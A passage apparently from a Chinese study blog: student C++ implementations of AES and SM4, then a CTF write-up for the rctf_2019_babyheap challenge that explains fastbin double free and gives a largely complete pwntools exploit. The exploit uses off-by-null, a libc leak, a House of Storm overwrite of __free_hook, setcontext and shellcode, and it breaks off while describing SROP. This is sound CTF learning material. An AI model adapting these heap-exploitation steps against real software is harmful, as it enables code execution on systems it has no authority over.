{0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73},
{0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E},
{0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B},
{0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4},
{0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F},
{0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF},
{0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61},
{0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D}
};
//轮密钥加
uint32_t LunMiYaoJia[10] = {0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000,
0x20000000, 0x40000000, 0x80000000, 0x1b000000, 0x36000000};
uint32_t left_bit_move(uint32_t val, int n) {
uint32_t size = sizeof(val) * 8;
n = n % size;
return (val >> (size - n) | (val << n));//左移
//return (val << (size - n) | (val >> n));//右移
}
string string_to_hex(const string& str) //字符串转化为十六进制
{
string result="";
string tmp;
stringstream ss;
for(int i=0;i<str.size();i++)
{
ss<<hex<<int(str[i])<<endl;
ss>>tmp;
result+=tmp;
}
return result;
}
string hex_to_string(const std::string& str)
{
std::string result;
for (size_t i = 0; i < str.length(); i += 2)//十六进制两个字符为原始字符一个字符
{
std::string byte = str.substr(i, 2);//每次切两个字符
//将十六进制的string转成long再强转成int再转成char
char chr = (char)(int)strtol(byte.c_str(), NULL, 16);
result.push_back(chr);//将处理完的字符压入result中
}
return result;
}
//制作列混淆表
uint8_t Mul_02(uint8_t x)
{
if((x>>7) == 0)
return x<<1;
else
return ((x<<1)^0x1b)&0xff;
}
uint32_t get_output_col1(uint8_t x)
{
x = (uint32_t)x;
return (Mul_02(x)<<24)|(x<<16)|(x<<8)|(x^ Mul_02(x));
//2113
}

uint32_t get_output_col2(uint8_t x)
{
x = (uint32_t)x;
return ((x^Mul_02(x))<<24)|(Mul_02(x)<<16)|(x<<8)|(x);
//3211
}
uint32_t get_output_col3(uint8_t x)
{
x = (uint32_t)x;
return (x<<24)|((x^Mul_02(x))<<16)|(Mul_02(x)<<8)|(x);
//1321
}
uint32_t get_output_col4(uint8_t x)
{
x = (uint32_t)x;
return (x<<24)|(x<<16)|((x^Mul_02(x))<<8)|(Mul_02(x));
//1132
}
void get_TAB()
{
for(int i=0;i<4;i++) {
for (int j = 0; j < 256; j++) {
T[i][j]=0;
}
}
for(int i=0;i<256;i++) {
T[0][i] = get_output_col1((uint8_t) i);
T[1][i] = get_output_col2((uint8_t) i);
T[2][i] = get_output_col3((uint8_t) i);
T[3][i] = get_output_col4((uint8_t) i);
}
//输出列混淆表
// for(int i=0;i<4;i++) {
// for (int j = 0; j < 256; j++) {
// //printf("%8x ",T[i][j]);
// cout <<setw(8)<<setfill('0')<< hex << T[i][j] << " ";
// }
// cout<<endl;
// }
}

uint8_t GFMul(uint8_t a, uint8_t b) {
uint8_t p = 0;
uint8_t high;
for (int counter = 0; counter < 8; counter++)
{
if ((b & uint8_t(1)) != 0){//判断当前b的最后一位是否为0
p ^= a;}// p与a异或 即如果b当前最后一位不是0,就加上现在的a
high = (uint8_t) (a & uint8_t(0x80));//高4位,看是否会溢出,high=1就是溢出
a <<= 1;//a左移一位,即乘以2
if (high != 0){//发生溢出
a ^= 0x1b; }// x^8 + x^4 + x^3 + x + 1
b >>= 1;//右移,看b的下一位了

}
return p;
}

void KeyExpansion(uint8_t key[], uint32_t w[])
{
int j=0;
uint32_t temp=0;
// w[]的前4个就是输入的key
//初始化w[0]->w[3]
for(int i=0; i<4;i++){
w[i] = (key[4*i]<<24)|(key[4*i+1]<<16)|(key[4*i+2]<<8)|(key[4*i+3]);
//printf("%d:%x\n",i,w[i]);
}
//创建w[4]->w[43]
for(int i=4; i<44;i++){
if(i%4==0){
temp = left_bit_move(w[i-1],8);//循环左移8位
temp = SubKeys(temp);
w[i] = temp ^ w[i-4] ^ LunMiYaoJia[j++];
//printf("%d:%x\n",i,w[i]);
}
else {
w[i] = w[i - 1] ^ w[i - 4];
//printf("%d:%x\n",i,w[i]);
}
}
}

void AddRoundKey(uint8_t mtx[],uint32_t w[])
{

for(int i=0; i<4; i++){
uint8_t w1 = w[i] >> 24 & 0xff;
uint8_t w2 = (w[i] >> 16) & 0xff;
uint8_t w3 = (w[i] >> 8) & 0xff;
uint8_t w4 = (w[i]) & 0xff;
mtx[i] ^= w1; //按列异或
mtx[i+4] ^= w2;
mtx[i+8] ^= w3;
mtx[i+12] ^= w4;
}
}

// S盒密钥变换 - 前4位为行号,后4位为列号
uint32_t SubKeys(uint32_t temp)
{
uint8_t w[4] = {0};
int j=0;
//循环4次
for(int i=3; i>=0; i--){
w[j++] = (temp>>(i*8))&0xff;
}
SubBytes(w,4);
return (w[0]<<24|w[1]<<16|w[2]<<8|w[3]);
}

// S盒变换 - 前4位为行号,后4位为列号
void SubBytes(uint8_t mtx[],int len)
{
for(int i=0; i<len; ++i)
{
int row = ((mtx[i]>>7)&0x1)*8 + ((mtx[i]>>6)&0x1)*4 + ((mtx[i]>>5)&0x1)*2 + ((mtx[i]>>4)&0x1)*1; //第4 5 6 7位确定行
int col = ((mtx[i]>>3)&0x1)*8 + ((mtx[i]>>2)&0x1)*4 + ((mtx[i]>>1)&0x1)*2 + (mtx[i]&0x1)*1; //第0 1 2 3位确定列
mtx[i] = S_Box[row][col];
}
}
void InvSubBytes(uint8_t mtx[],int len)
{
for(int i=0; i<len; ++i)
{
int row = ((mtx[i]>>7)&0x1)*8 + ((mtx[i]>>6)&0x1)*4 + ((mtx[i]>>5)&0x1)*2 + ((mtx[i]>>4)&0x1)*1; //第4 5 6 7位确定行
int col = ((mtx[i]>>3)&0x1)*8 + ((mtx[i]>>2)&0x1)*4 + ((mtx[i]>>1)&0x1)*2 + (mtx[i]&0x1)*1; //第0 1 2 3位确定列
mtx[i] = Inv_S_Box[row][col];
}
}
//行移位
void ShiftRows(uint8_t mtx[])
{
uint8_t temp=mtx[4];
//第二行左移一位
for(int i=0; i<3; i++){
mtx[i+4] = mtx[i+5];
}
mtx[7] = temp;
//第三行左移二位
for(int i=0; i<2; i++){
temp = mtx[i+8];
mtx[i+8] = mtx[i+10];
mtx[i+10] = temp;
}
//第四行左移三位
temp = mtx[15];
for(int i=3; i>0; i--) {
mtx[i + 12] = mtx[i + 11];
}
mtx[12] = temp;
}

void InvShiftRows(uint8_t mtx[])
{
// 第二行循环右移一位
uint8_t temp = mtx[7];
for(int i=3; i>0; --i)
mtx[i+4] = mtx[i+3];
mtx[4] = temp;
// 第三行循环右移两位
for(int i=0; i<2; ++i)
{
temp = mtx[i+8];
mtx[i+8] = mtx[i+10];
mtx[i+10] = temp;
}
// 第四行循环右移三位
temp = mtx[12];
for(int i=0; i<3; ++i)
mtx[i+12] = mtx[i+13];
mtx[15] = temp;
}

void MixColumns(uint8_t c[])
{
uint32_t total[4]={0}; //存储每一列取出的4个32比特字节异或的结果,即列混淆后的第i列
uint32_t temp[16]={0}; //存储16个 每个字节从T表得到的32比特的4字节一列
for(int i=0;i<16;i++){
temp[i] = T[i/4][c[i]];
}

for(int i=0; i<4;i++) {
total[i] = temp[i] ^ temp[i+4] ^ temp[i+8] ^ temp[i+12];
c[i] = (total[i]>>24)&0xff;
c[i+4]=(total[i]>>16)&0xff;
c[i+8] = (total[i]>>8)&0xff;
c[i+12] = (total[i])&0xff;
}
}
void InvMixColumns(uint8_t mtx[])
{
uint8_t arr[4];
for(int i=0; i<4; ++i) {
for (int j = 0; j < 4; ++j)
arr[j] = mtx[i + j * 4];

mtx[i] = GFMul(0x0e, arr[0]) ^ GFMul(0x0b, arr[1]) ^ GFMul(0x0d, arr[2]) ^ GFMul(0x09, arr[3]);
mtx[i + 4] = GFMul(0x09, arr[0]) ^ GFMul(0x0e, arr[1]) ^ GFMul(0x0b, arr[2]) ^ GFMul(0x0d, arr[3]);
mtx[i + 8] = GFMul(0x0d, arr[0]) ^ GFMul(0x09, arr[1]) ^ GFMul(0x0e, arr[2]) ^ GFMul(0x0b, arr[3]);
mtx[i + 12] = GFMul(0x0b, arr[0]) ^ GFMul(0x0d, arr[1]) ^ GFMul(0x09, arr[2]) ^ GFMul(0x0e, arr[3]);
}
}

void Encrypt(uint8_t m[],uint32_t key[],uint8_t c[])
{
//首先进行开始的轮密钥加
int round=0;
uint32_t w[4]={0};
for(int k=0; k<4; k++)
w[k] = key[4*round+k];
for(int i=0; i<16; i++)
c[i] = m[i];
AddRoundKey(c,w);
//接下来是9轮一摸一样的函数
for(int i = 1;i<=9;i++)
{
SubBytes(c,16);//字节替代
ShiftRows(c);//行移位
MixColumns(c);//列混淆
round++;
//cout<<"轮数"<<round<<endl;
for(int k=0; k<4; k++) {
w[k] = key[4 * round + k];
}
AddRoundKey(c,w);//轮密钥加
}
//最后一轮
round++;
//cout<<"轮数"<<round<<endl;
for(int k=0; k<4; k++) {
w[k] = key[4 * round + k];
//("%x ",w[k]);
}
SubBytes(c,16);//字节替代
ShiftRows(c);//行移位
AddRoundKey(c,w);//轮密钥加
}
void Decrypt(uint8_t c[],uint32_t key[],uint8_t m[])
{
//首先进行开始的轮密钥加
//注意密钥反着来
int round=10;
uint32_t w[4]={0};
for(int k=0; k<4; k++)
w[k] = key[4*round+k]; //密钥赋值
for(int i=0; i<16; i++)
m[i] = c[i];
AddRoundKey(m,w);
//接下来是9轮一摸一样的函数
for(int i = 1;i<=9;i++)
{
InvShiftRows(m);//行移位
InvSubBytes(m,16);//字节替代
round--;
//cout<<"轮数"<<round<<endl;
for(int k=0; k<4; k++) {
w[k] = key[4 * round + k];
}
AddRoundKey(m,w);//轮密钥加
InvMixColumns(m);//列混淆
}
//最后一轮
round--;
//cout<<"轮数"<<round<<endl;
for(int k=0; k<4; k++) {
w[k] = key[4 * round + k];
//("%x ",w[k]);
}
InvShiftRows(m);//行移位
InvSubBytes(m,16);//字节替代
AddRoundKey(m,w);//轮密钥加
}
void Display(uint8_t Matrix[])
{
for(int i=0; i<16; i++) {
printf("%x ", Matrix[i]);
if(i%4==3)
cout<<endl;
}
}
void DisplayKeys(uint32_t Matrix[])
{
for(int i=0; i<44; i++) {
printf("第%d列:%x\n",i,Matrix[i]);
}
}
int main()
{
string mingwen;
string miwen;
uint8_t key[16]={0};
uint8_t m[16]={0};
cout<<"请输入明文(128bits):";
cin>>mingwen;
cout<<"请输入密文(128bits):";
cin>>miwen;
for(int i=0;i<16;i++)
{
m[i] = (uint8_t)(mingwen[i]);
key[i] = (uint8_t)(miwen[i]);
}
uint8_t c[16]={0};
uint8_t x[16]={0};
uint32_t new_key[44]={0}; //存储44列密钥
cout<<"明文:"<<endl;
Display(m);
cout<<"密钥:"<<endl;
Display(key);
get_TAB();//生成列混淆表
KeyExpansion(key,new_key);
cout<<"生成密钥"<<endl;
//DisplayKeys(new_key);
Encrypt(m,new_key,c);
cout<<"加密结果"<<endl;
Display(c);
Decrypt(c,new_key,x);
cout<<"解密结果(hex)"<<endl;
Display(x);
cout<<"解密结果(string)"<<endl;
for(int i=0;i<16;i++)
cout<<(char)x[i];
return 0;
}

SM4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#include "string.h"
#include<iostream>
#include <stdint.h>
#include<string>
using namespace std;
uint32_t shift_l(uint32_t s,int n)//循环左移n位
{
int size=sizeof (s)*8; //字节数乘以8代表一共多少位
return s<<(n)|(s>>size-n);
}
uint32_t Sb(uint32_t s) {

uint8_t SboxTable[16][16] =
{
{0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x05},
{0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99},
{0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b, 0x43, 0xed, 0xcf, 0xac, 0x62},
{0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa, 0x75, 0x8f, 0x3f, 0xa6},
{0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c, 0x19, 0xe6, 0x85, 0x4f, 0xa8},
{0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb, 0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35},
{0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87},
{0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52, 0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e},
{0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38, 0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1},
{0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34, 0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3},
{0x1d, 0xf6, 0xe2, 0x2e, 0x82, 0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f},
{0xd5, 0xdb, 0x37, 0x45, 0xde, 0xfd, 0x8e, 0x2f, 0x03, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51},
{0x8d, 0x1b, 0xaf, 0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8},
{0x0a, 0xc1, 0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4, 0xb0},
{0x89, 0x69, 0x97, 0x4a, 0x0c, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x09, 0xc5, 0x6e, 0xc6, 0x84},
{0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7, 0xcb, 0x39, 0x48}};
uint8_t a[4];
a[0]=(s>>24)&0xff; //最高8位
a[1]=(s>>16)&0xff;
a[2]=(s>>8)&0xff;
a[3]=s&0xff;
uint8_t b[4];
for(int i=0;i<4;i++) {
int row = ((a[i] >> 7) & 1) * 8 + ((a[i] >> 6) & 1) * 4 + ((a[i] >> 5) & 1) * 2 + ((a[i] >> 4) & 1) * 1;
int col = ((a[i] >> 3) & 1) * 8 + ((a[i] >> 2) & 1) * 4 + ((a[i] >> 1) & 1) * 2 + ((a[i]) & 1) * 1;
b[i] = SboxTable[row][col];
}
uint32_t result;
result=(b[0]<<24)|(b[1]<<16)|(b[2]<<8)|b[3];
return result;
}

uint32_t L_change(uint32_t s)
{
return s^ shift_l(s,13)^ shift_l(s,23);
}

uint32_t T_change(uint32_t s)
{
return L_change(Sb(s));
}

void keyexpand(uint32_t MK[4],uint32_t rk[32])
{
uint32_t FK[4]={0xA3B1BAC6, 0x56AA3350,0x677D9197, 0xB27022DC};
uint32_t CK[32] = { 0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279 };
uint32_t k[4]={MK[0]^FK[0],MK[1]^FK[1],MK[2]^FK[2],MK[3]^FK[3]};
uint32_t K[36];
for(int i=0;i<=3;i++)
K[i]=k[i];
for(int i=0;i<32;i++)
{
K[i+4]=K[i]^ T_change(K[i+1]^K[i+2]^K[i+3]^CK[i]);
}
for(int i=0;i<32;i++)
rk[i]=K[i+4];

}

uint32_t Lchange(uint32_t s)
{
return s^shift_l(s,2)^shift_l(s,10)^shift_l(s,18)^shift_l(s,24);
}

uint32_t Tchange(uint32_t s)
{
return Lchange(Sb(s));
}

uint32_t fround(uint32_t X[4],uint32_t rk)
{
uint32_t B=X[1]^X[2]^X[3]^rk;
return X[0]^ L_change(Sb(B));
}

static uint32_t out1[4];

void SM4(uint32_t X[4],uint32_t rk[32])
{
uint32_t Y[36];
Y[0]=X[0];
Y[1]=X[1];
Y[2]=X[2];
Y[3]=X[3];
for(int i=0;i<=31;i++) {
Y[i + 4] = Y[i] ^ Tchange(Y[i + 1] ^ Y[i + 2] ^ Y[i + 3] ^ rk[i]);
}
// for(int i=0;i<36;i++) {
// printf("第%d轮:%x \n",i,Y[i]);
// }
out1[0]=Y[35];
out1[1]=Y[34];
out1[2]=Y[33];
out1[3]=Y[32];
}

static uint32_t out2[4];

void sm4(uint32_t Y[4],uint32_t rk[32])
{
uint32_t X[36];
X[35]=Y[0];
X[34]=Y[1];
X[33]=Y[2];
X[32]=Y[3];
for(int i=31;i>=0;i--)
{
X[i]=X[i+4]^ Tchange(X[i+3]^X[i+2]^X[i+1]^rk[i]);
}
out2[0]=X[0];
out2[1]=X[1];
out2[2]=X[2];
out2[3]=X[3];
}
int main() {
uint32_t ming[4]={0x01234567,0x89ABCDEF,0xFEDCBA98,0x76543210};
cout<<"明文:"<<endl;
for(int i=0;i<4;i++)
cout<<hex<<ming[i]<<" ";
cout<<endl;
uint32_t MK[4]={0x01234567,0x89ABCDEF,0xFEDCBA98,0x76543210};
cout<<"密钥:"<<endl;
for(int i=0;i<4;i++)
cout<<hex<<MK[i]<<" ";
cout<<endl;
uint32_t rk[32];
keyexpand(MK,rk);
// cout<<"扩展密钥:"<<endl;
// for(int i=0;i<32;i++)
// cout<<i<<"轮扩展密钥"<<rk[i]<<endl;
cout<<"加密结果:"<<endl;
SM4(ming,rk);
for(int i=0;i<4;i++)
cout<<out1[i]<<" ";
cout<<endl;
cout<<"解密结果:"<<endl;
sm4(out1,rk);
for(int i=0;i<4;i++)
cout<<out2[i]<<" ";
cout<<endl;
return 0;
}

利用条件

1.fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
2.fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。

该漏洞是指将同一个chunk free两次,通常情况下free两个chunk会报错是无法编译的,监测机制也很简单,就仅仅是对free变量与前一个进行对比,所以可以中间夹一个其他的实现:

1
2
3
free(shangu1)
free(shangu2)
free(shangu1)

此时的 bins 中情况大概如下:0x20 —> shangu1 —> shangu2 —> shangu1
当再次申请堆时会出现 有两个指针指向同一个chunk

![联想截图_20230322221849.png](https://s2.loli.net/2023/09/12/BI6lRtbdPnKTuMN.png

同样是house of storm,但是如果程序开启了沙箱,禁用了system函数,那我们常规把hook函数改为system函数的方法就失效了,
若是沙箱没有禁用open,read,write函数,这里我们可以考虑用orw。

例题

rctf_2019_babyheap

在这里插入图片描述

在这里插入图片描述
保护全开,禁用了execve就是禁用了system,因为system函数通过调用execve函数才能执行。
看一下ida

main函数

可以看到是实现了四个功能,增改删查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
while ( 1 )
{
menu();
switch ( get_int() )
{
case 1:
add();
break;
case 2:
edit();
break;
case 3:
delete();
break;
case 4:
show();
break;
case 5:
puts("See you next time!");
exit(0);
default:
puts("Invalid choice!");
break;
}
}
}

add函数

可以申请最大0x1000大小的chunk,最多申请16个chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 add()
{
void **v0; // rbx
int i; // [rsp+0h] [rbp-20h]
int size; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-18h]

v4 = __readfsqword(0x28u);
for ( i = 0; *(ptrs + 2 * i) && i <= 15; ++i )
;
if ( i == 16 )
{
puts("You can't");
exit(-1);
}
printf("Size: ");
size = get_int();
if ( size <= 0 || size > 0x1000 )
{
puts("Invalid size :(");
}
else
{
*(ptrs + 4 * i + 2) = size;
v0 = (ptrs + 16 * i);
*v0 = calloc(size, 1uLL);
puts("Add success :)");
}
return __readfsqword(0x28u) ^ v4;
}

edit函数

存在off-by-null漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 edit()
{
unsigned int v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
v1 = get_int();
if ( v1 <= 0xF && *(ptrs + 2 * v1) )
{
printf("Content: ");
*(*(ptrs + 2 * v1) + read_n(*(ptrs + 2 * v1), *(ptrs + 4 * v1 + 2))) = 0; //off-by-one
puts("Edit success :)");
}
else
{
puts("Invalid index :(");
}
return __readfsqword(0x28u) ^ v2;
}

delete函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
v1 = get_int();
if ( v1 <= 0xF && *(ptrs + 2 * v1) )
{
free(*(ptrs + 2 * v1));
*(ptrs + 2 * v1) = 0LL;
*(ptrs + 4 * v1 + 2) = 0;
puts("Delete success :)");
}
else
{
puts("Invalid index :(");
}
return __readfsqword(0x28u) ^ v2;
}

show函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
v1 = get_int();
if ( v1 <= 0xF && *(ptrs + 2 * v1) )
puts(*(ptrs + 2 * v1));
else
puts("Invalid index :(");
return __readfsqword(0x28u) ^ v2;
}

思路

看了大佬的博客rctf_2019_babyheap,这里对其进行详细的解析。
在这里插入图片描述
程序禁用了fastbin,且能申请最大为0x1000大小的chuck,可以使用house of storm,修改free_hook的地址为shellcode,执行shellcode,这里我们需要用orw来写shellcode,并且在这之前需要用mprotect函数修改free_hook段为可读可写可执行权限。

调试过程

先把前面的写好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# coding=utf-8
from pwn import *
#sh = remote("node4.buuoj.cn", 29278)
sh = process('./rctf_2019_babyheap')
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./rctf_2019_babyheap")
libc = ELF('../../libc-2.23.so--64')
def dbg():
gdb.attach(sh)
pause()

#命令简写化
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg=lambda address,data:log.success('%s: '%(address)+hex(data))


def add(size):
ru("Choice: \n")
sl('1')
ru("Size: ")
sl(str(size))

def free(index):
ru("Choice: \n")
sl('3')
ru("Index: ")
sl(str(index))

def show(index):
ru("Choice: \n")
sl('4')
ru("Index: ")
sl(str(index))

def edit(index, content):
ru("Choice: \n")
sl('2')
ru("Index: ")
sl(str(index))
ru("Content: ")
s(content)

首先构造堆块重叠,泄露libc基地址

先申请四个chunk,申请的chunk真正大小分别为0x90,0x70,0x100,0x20,
chunk_3是为了free前三个chunk后防止堆块合并

1
2
3
4
5
add(0x80)#0
add(0x68)#1
add(0xf0)#2
add(0x18)#3
dbg()

在这里插入图片描述
之后free chunk_0,此时因为禁用了fastbin,所以chunk_0直接进入了unsortedbin里,再利用off-by-null漏洞修改chunk_2的pre_size为0x100(chunk_0+chunk_1正好就是0x100),修改chunk_2的size为0x100,使他处于free状态。

1
2
3
4
5
free(0)
payload = 'a'*0x60 + p64(0x100)
edit(1, payload)

dbg()

在这里插入图片描述
free chunk_2后,触发堆块前向合并,chunk_2的pre_size为是0x100,chunk_0和chunk_1加起来是0x100,就是前三个chunk合并。unsortedbin里存放着原chunk_0的起始地址。

1
2
3
free(2)

dbg()

在这里插入图片描述

在这里插入图片描述
此时chunk_1是没有被free的,然后我们再次申请0x80(原chunk_0大小)大小的chunk,此时原chunk_1的mem区域存放着main_arena+88,因为chunk_1并没有被free,所以我们直接调用show函数即可泄露libc基地址。

1
2
3
4
5
6
7
8
9
10
add(0x80)#0
show(1)
malloc_hook = u64(ru('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
system = libc.sym['system']
free_hook = libc.sym['__free_hook']
set_context = libc.symbols['setcontext']
lg('libc_base',libc.address)

dbg()

在这里插入图片描述
在这里插入图片描述

构造unsortbin chunk 和largebin chunk,进行 house of strom

先申请0x160大小的chunk,将unsortbin中残余chunk清空,之后构造unsortbin chunk 和largebin chunk的调试过程请参考我另一篇文章House of storm
此时我们已以可以修改free_hook处的值了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#---------------布置chunk-------------------------#
add(0x18)#4
add(0x508)#5
add(0x18)#6
add(0x18)#7
add(0x508)#8
add(0x18)#9
add(0x18)#10

#dbg()
#----------------准备 unsorted chunk-----------------------#
edit(5, 'a'*0x4f0+p64(0x500))

#dbg()

free(5)
edit(4, 'a'*0x18)

#dbg()

add(0x18)#5
add(0x4d8)#11
free(5)
free(6)

#dbg()

add(0x30)#5
add(0x4e8)#6

#dbg()

#-------------------准备 large chunk-----------------------------------#
edit(8, 'a'*0x4f0+p64(0x500))
free(8)
edit(7, 'a'*0x18)
add(0x18)#8
add(0x4d8)#12
free(8)
free(9)
add(0x40)#8
#---------------unsorted chunk 和 large chunk 放到对应位置----------------------#

#dbg()

free(6)

#dbg()

add(0x4e8)#6

#dbg()

free(6)

#dbg()

#pause()
#--------------修改他们的满足条件进行 house of strom------------------------------#
storage = free_hook
fake_chunk = storage - 0x20
payload = '\x00'*0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(11, payload)

#dbg()

payload = '\x00'*0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) +p64(0) + p64(fake_chunk-0x18-5)
edit(12, payload)

#dbg()

add(0x48)#6

mprotect+shellcode

修改free_hook为set_context+53,free_hook+0x18,free_hook+0x18,shellcode1,
setcontext函数负责对各个寄存器进行赋值,甚至可以控制rip,对寄存器进行赋值主要从+53开始,shellcode1即为read(0, new_addr,0x1000),new_addr即为(free_hook &0xFFFFFFFFFFFFF000)free_hook所在内存页的起始位置。我们将对这里赋予可读可写可执行权限。

1
2
3
4
5
6
7
8
9
10
11
12
new_addr =  free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000

mov eax,0
syscall

jmp rsi
''' % new_addr
edit(6, 'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))

在这里插入图片描述

修改前
在这里插入图片描述
修改后
在这里插入图片描述

SROP

我们利用pwntools里的SigreturnFrame()执行mprotect(new_addr,0x1000,7),并将rsp跳转到
